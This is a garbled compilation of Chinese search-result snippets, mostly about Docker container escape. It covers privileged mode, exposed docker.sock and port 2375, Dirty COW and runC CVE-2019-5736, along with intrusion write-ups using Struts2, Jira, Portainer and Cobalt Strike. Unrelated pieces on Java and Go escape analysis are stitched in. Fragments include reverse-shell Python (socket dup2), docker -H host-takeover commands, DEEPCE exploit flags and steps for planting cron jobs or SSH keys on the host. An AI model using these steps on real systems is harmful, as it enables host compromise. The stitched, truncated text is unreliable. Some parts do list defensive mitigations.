逃逸思路1.因配置特权模式逃逸(--privileged,--cap-add与SYS_ADMIN结合)2.docker.sock通信传输逃逸(容器A新建一个容器B,再使用容器B进行逃逸)3.结合linux 内核提权漏洞逃逸(脏牛dirty cow)4.docker中的/proc传输,/fd传输逃逸(CVE-2019-5736)Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。 二、挂载配置不当时的逃逸情况(一)危险的Docker.sock众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon 因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。 image.png运行验证容器:docker-compose run dirtycow /bin/bashimage.png2.
Docker逃逸漏洞复现(CVE-2019-5736) ? 因为Docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。 ' for 'docker-ce'was not found ? /linux/ubuntu xenial stable" 查看可用的docker版本: apt-cache madison docker-ce 输出结果: ? sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu ? 随便起个服务 dockersearch redis ?
前言: 我认为docker容器逃逸也算是提权的一种手法,要更好的理解容器逃逸的手法,应该知道从本质上看容器内的进程只是一个受限的普通 Linux 进程,而容器逃逸的过程我们完全可以将其理解为在一个受限进程中进行一些操作来获取未受限的完整权限 //判断是否有welcome输出 2、安装 Docker-Compose sudo curl -L "https://github.com/docker/compose/releases/download s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null 这里推荐两种方式 1. curl http://192.168.110.124:2375/info docker -H tcp://192.168.110.124:2375 info 2. ,公私钥等等 2.这里直接上操作 #连接2375端口 export DOCKER_HOST="tcp://127.0.0.1:2375" #创建挂载宿主机根目录的容器 docker run --rm -
容器逃逸也算是提权的一种手法,要更好的理解容器逃逸的手法,应该知道从本质上看容器内的进程只是一个受限的普通 Linux 进程,而容器逃逸的过程我们完全可以将其理解...前言:我认为docker容器逃逸也算是提权的一种手法 welcome输出2、安装 Docker-Composesudo curl -L "https://github.com/docker/compose/releases/download/1.23.2/ s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') /ning成功反弹shell挂载 Docker Socket 逃逸什么是Docker Socket? 公私钥等等2.这里直接上操作#连接2375端口export DOCKER_HOST="tcp://127.0.0.1:2375"#创建挂载宿主机根目录的容器docker run --rm -it --privileged
文章前言 在Docker中Privileged是一种特殊的权限模式,它允许Docker容器在启动时获取到与宿主机相同的权限级别。 具体来说,Privileged权限可以让容器拥有以下能力: 1、访问宿主机的所有设备文件 2、在容器内部运行与宿主机上相同的内核模块 3、能够修改容器内部的网络配置 4、可以使用mount命令挂载宿主机上任意文件系统 漏洞概述 操作者使用特权模式启动的容器时,Docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令 环境搭建 docker run -v /home/ubuntu/cdk:/cdk --rm -it --privileged ubuntu bash 特权检测 在容器中时可以通过如下参数检测当前容器是否是以特权模式启动 /cdk run mount-disk Step 2:在容器内部进入挂载目录,直接管理宿主机磁盘文件 cd /tmp/cdk_dyyop ls -al Step 3:之后写入计划任务或者通过写入SSH
Part01 简述docker容器逃逸什么是docker? 什么是Docker容器逃逸? ls -al /2、检查 /proc/1/cgroup 是否存在含有docker字符串查询系统进程的cgroup信息,存在docker字段则是在docker容器中。 Part02 常见的逃逸方法1、配置不当,例如:开启特权模式(privileged)、挂载Docker Socket逃逸、挂载宿主机procfs逃逸、Docker Remote API未授权访问逃逸;2 成功接受到shellPart04 如何防止docker逃逸1、避免使用特权模式启动容器,或者限制容器所需的最小权限;2、避免将宿主机上的敏感文件或目录挂载到容器内部,或者使用只读模式挂载;3、避免将Docker
docker是目前主流的容器技术,今天我们来探讨一下docker逃逸的3种常见方式:内核漏洞引起的逃逸、相关程序漏洞引起的逃逸和docker配置不当引起的逃逸。 将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) ? 进一步利用上述信息进行docker逃逸。docker可以挂载宿主机的文件夹,同时docker默认使用root运行,这样就可以造成任意文件的读取和写入。 2、特权模式(privileged) 使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,并通过写入计划任务等方式进行逃逸 参考资料: 1、《金融领域云原生技术与安全研究》 2、《容器时代:数万台服务器下的 Docker 深度安全实践》 3、《技术干货 | Docker 容器逃逸案例汇集》
/tmp/sess_990aadb371d8e582cb000c716aed9720 内网渗透 docker逃逸 这里理论上三种方法都能够拿到shell,这里我使用tomcat上线到msf的shell 那么我们无论使用3个环境的哪个环境拿shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,所以这里我们还需要进行docker逃逸到ubuntu 这里我尝试脏牛失败, 这里就需要使用到privileged特权模式逃逸 privileged特权模式逃逸 docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker 的能力 https://www.docker.com/blog/docker-can-now-run-within-docker/ docker文档中对这个参数的解释如下 https://docs.docker.com /engine/reference/run/#runtime-privilege-and-linux-capabilities 当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问
影响范围 Docker before 19.03.1 漏洞类型 容器逃逸漏洞 利用条件 影响范围应用 漏洞概述 正常情况下用户通过使用docker cp命令可以将文件从host主机拷贝至容器,或者从容器拷贝至 进程chroot到容器中时,造成了一个dokcer cp命令导致的容器逃逸漏洞 漏洞环境 这里使用Metarget来构建环境 . Step 2:将漏洞利用文件拷贝至容器内 #拷贝文件 sudo docker cp exp/ 14271:/ #进入容器 sudo docker exec -it 14271 bash ls .2 /lib/x86_64-linux-gnu/ Step 5:替换后退出容器,在宿主机上执行cp命令: sudo docker cp 14271:/logs ./ 进入容器内部可发现根目录下存在 host_fs目录挂载了宿主机的文件系统,成功逃逸(笔者未找到对应的Docker版本故而失败,整个利用流程依旧不变~) 安全建议 升级到最新版本~ 参考连接 https://github.com/moby
首先来说下为什么会有逃逸分析 我们都知道Java对象都是分配在在堆上的,在过往的认识中,一直是以这样的方式存在的,但是从Java7开始支持对象的栈分配和逃逸分析机制。 然后我们来说说具体什么是逃逸分析 逃逸分析是一种能有效减少对象在堆上分配和同步负载的跨函数数据流分析算法,逃逸分析通俗的说就是一个对象的指针被多个线程和方法引用时,那我们就称为这个对象发生了逃逸。 逃逸分析的基本行为就是分析对象动态作用域:当一个对象在方法中被定义后,它可能被外部方法所引用。逃逸分析只能在JIT里完成,不能在静态编译时进行。 逃逸分析又分为方法逃逸和线程逃逸。 ,一个是Java虚拟机进行的逃逸分析,一个是根据逃逸分析原理去优化自己的代码 我们先来说下Java虚拟机的逃逸分析 1.堆对象变成栈对象,一个方法中的对象没有发生逃逸,那么该对象就很有可能被分配在栈上 2.同步消除,逃逸分析可以分析出某个对象是否只有一个线程访问,如果是只有一个线程访问,那么对该对象的同步操作就可以消除,就样就能大大提高并发性和性能。
0x00 概述 2019年2月11日,runc的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。 (Ubuntu16.04) curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw - : https://github.com/Frichetten/CVE-2019-5736-PoC 切换到root用户或以root用户身份编译main.go文件:sudo gedit main.go 2. docker容器权限,在容器中上传payload进行docker逃逸) 并执行 docker cp main c37c910028ae:/home docker exec -it c37c910028ae 此时查看IP也会发现该IP是运行Docker的ubuntu16.04的IP,所以成功实现了Docker容器的逃逸。
---- Docker 容器逃逸案例: 1、判断是否处于docker容器里 2、配置不当引起的逃逸 Docker Remote API 未授权访问 docker.sock 挂载到容器内部 docker 高危启动参数 privileged 特权模式 挂载敏感目录 相关启动参数存在的安全问题 3、Docker 软件设计引起的逃逸 Shocker攻击 runC容器逃逸漏洞(CVE-2019-5736) Docker / -name docker.sock/run/docker.sock 2、在容器查看宿主机docker信息: docker -H unix:///var/run/docker.sock info 3 ---- 四、内核漏洞引起的逃逸 4.1 利用DirtyCow漏洞实现Docker逃逸 漏洞简述: Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker 2、测试容器下载并运行: git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose
Docker 枚举、特权升级和容器逃逸 (DEEPCE) 为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh,没有依赖性。 DNS) 容器 IP / DNS 服务器 码头工人版本 有趣的坐骑 普通文件中的密码 环境变量 密码哈希 容器中存储的常见敏感文件 同一网络上的其他容器 端口扫描其他容器,以及宿主机本身 漏洞利用 Docker 组提权 特权模式主机命令执行 裸露的 Docker 有效载荷 对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。 /deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce 利用可写的 docker sock /deepce.sh --no-enumeration --exploit SOCK --shadow 通过主机上 docker 组的成员身份升级到 root 并运行自定义负载 .
检测与逃逸 然后查看一些信息的时候发现命令找不到: 执行命令验证是否为docker环境: 确实为docker环境,那么就看看宿主机有没有什么漏洞可以利用,使用 cat /etc/hosts,看到了主机 成功爆破后,这里就登录Portainer进行Docker逃逸了: 注:Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建,管理和维护Docker环境。 好了,真的开始了逃逸了,先创建个容器: 这里给他选择个特权模式: 1.然后链接这个容器的shell:fdisk -l 2.此时查看/dev/路径会发现很多设备文件:ls /dev 3.新建目录以备挂载 那肯定是,随便执行点命令看看: 好了,已经逃逸到Ubuntu了,接下来让它上线到CobaltStrike,使用CrossC2插件(https://github.com/gloxec/CrossC2): 上线了: 总结 本文记录一次通过公网拿到docker容器权限,通过扫描发现宿主机地址,并对宿主机进行攻击,最后利用Portainer进行docker逃逸获得宿主机Ubuntu权限。
Struts2 首先访问2001端口,是一个struts2的框架 ? 这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞 ? 内网渗透 docker逃逸 这里理论上三种方法都能够拿到shell,这里我使用tomcat上线到msf的shell进行信息搜集 可以看到有eth0、eth1分别处于1.0/24和183.0/24两个网段 那么我们无论使用3个环境的哪个环境拿shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,所以这里我们还需要进行docker逃逸到ubuntu ? 这里我尝试脏牛失败,这里就需要使用到privileged特权模式逃逸 privileged特权模式逃逸 docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker 中运行docker的能力 https://www.docker.com/blog/docker-can-now-run-within-docker/ docker文档中对这个参数的解释如下 https:
当机立断去 Google 一波历史漏洞,有 2 处信息泄露+未授权访问 RCE。 信息泄露 利用信息泄露可以用来爆破用户, Exp1: /jira/secure/ViewUserHover。jspa? username=admin Exp2: /jira/rest/api/latest/groupuserpicker? 0x04 Docker 逃逸 由于在 Docker 容器中,想到 "Docker 逃逸" 这个漏洞,也不知道能不能逃逸出来,于是想尝试一下。 之前从没实战碰到过 Docker,也没有复现过 Docker 逃逸这个洞,查阅了大量文章。这个点就折腾的比较久。参考文章: https://www。freebuf。 html CVE-2019-5376 这个漏洞是需要重新进入 Docker 才能触反弹 shell。
作者:比尔·图拉斯(Bill Toulas)日期:2025 年 11 月 9 日 上午 10:11Docker 和 Kubernetes 中使用的 runC 容器运行时曝出三个新漏洞,攻击者可利用这些漏洞绕过隔离限制 它负责执行创建容器进程、配置命名空间、挂载点和控制组等底层操作,供 Docker、Kubernetes 等上层工具调用。 若攻击者在容器初始化期间将 /dev/null 替换为符号链接,runC 可能会将攻击者控制的目标以可读写模式绑定挂载到容器内,进而允许写入 /proc 目录,实现容器逃逸。 这同样会暴露关键 procfs 目录项的可写权限,为逃逸提供可能。CVE-2025-52881攻击者可诱骗 runC 向 /proc 目录写入数据,且该写入操作会被重定向到攻击者控制的目标。 立即下载相关文章Docker 降低加固镜像目录(Hardened Images Catalog)使用门槛,中小企业可轻松获取QNAP 修复七个 NAS 零日漏洞,这些漏洞曾在 Pwn2Own 赛事中被利用近
【Java基础】This逃逸( This引用逃逸详解)1、This逃逸中的关键词This引用逃逸对象在还没有构造完成时,This引用已经发布出。发布对象发布是指一个对象在作用域范围之外被使用。 2、This逃逸示例分析public class ThisEscape { final int a; int b=0; static ThisEscape obj; public ,但是不一定发生,而线程B发生this逃逸这是因为:由于JVM的指令重排序存在,实例变量i的初始化被安排到构造器外(final可见性保证是final变量规定在构造器中完成的)类似于this逃逸,线程A中构造器构造还未完全完成 3、什么情况下会This逃逸发生This逃逸一般会有两种情况:在构造器中启动线程:启动的线程任务是内部类,在内部类中 xxx.this 访问了外部类实例,就会发生访问到还未初始化完成的变量在构造器中注册事件 ,引起This逃逸的问题是在多线程滥用引用。
Golang逃逸分析 介绍逃逸分析的概念,go怎么开启逃逸分析的log。 以下资料来自互联网,有错误之处,请一定告之。 如果指针存储在全局变量或者其它数据结构中,它们也可能发生逃逸,这种情况是当前程序中的指针逃逸。 逃逸分析需要确定指针所有可以存储的地方,保证指针的生命周期只在当前进程或线程中。 go消除了堆和栈的区别 go在一定程度消除了堆和栈的区别,因为go在编译的时候进行逃逸分析,来决定一个对象放栈上还是放堆上,不逃逸的对象放栈上,可能逃逸的放堆上。 Example2: package main type S struct{} func main() { var x S _ = *ref(x) } func ref(z S) *S { ,而i却逃逸了,这是因为go的逃逸分析不知道z和i的关系,逃逸分析不知道参数y是z的一个成员,所以只能把它分配给堆。
今天,我们就一起来聊聊什么是逃逸分析 逃逸分析的概念 先以官方的形式来说下什么是逃逸分析。逃逸分析就是:一种确定指针动态范围的静态分析,它可以分析在程序的哪些地方可以访问到指针。 在JVM的即时编译语境下,逃逸分析将判断新建的对象是否逃逸。即时编译判断对象是否逃逸的依据:一种是对象是否被存入堆中(静态字段或者堆中对象的实例字段),另一种就是对象是否被传入未知代码。 对象逃逸示例 一种典型的对象逃逸就是:对象被复制给成员变量或者静态变量,可能被外部使用,此时变量就发生了逃逸。 我们可以用下面的代码来表示这个现象。 /** * @author binghe * @description 对象逃逸示例2 */ public class ObjectReturn{ public User createUser 还没完,我们继续看下逃逸分析的优点,以便于小伙伴们能够更好的理解逃逸分析。 逃逸分析的优点 逃逸分析的优点总体上来说可以分为三个:对象可能分配在栈上、分离对象或标量替换、消除同步锁。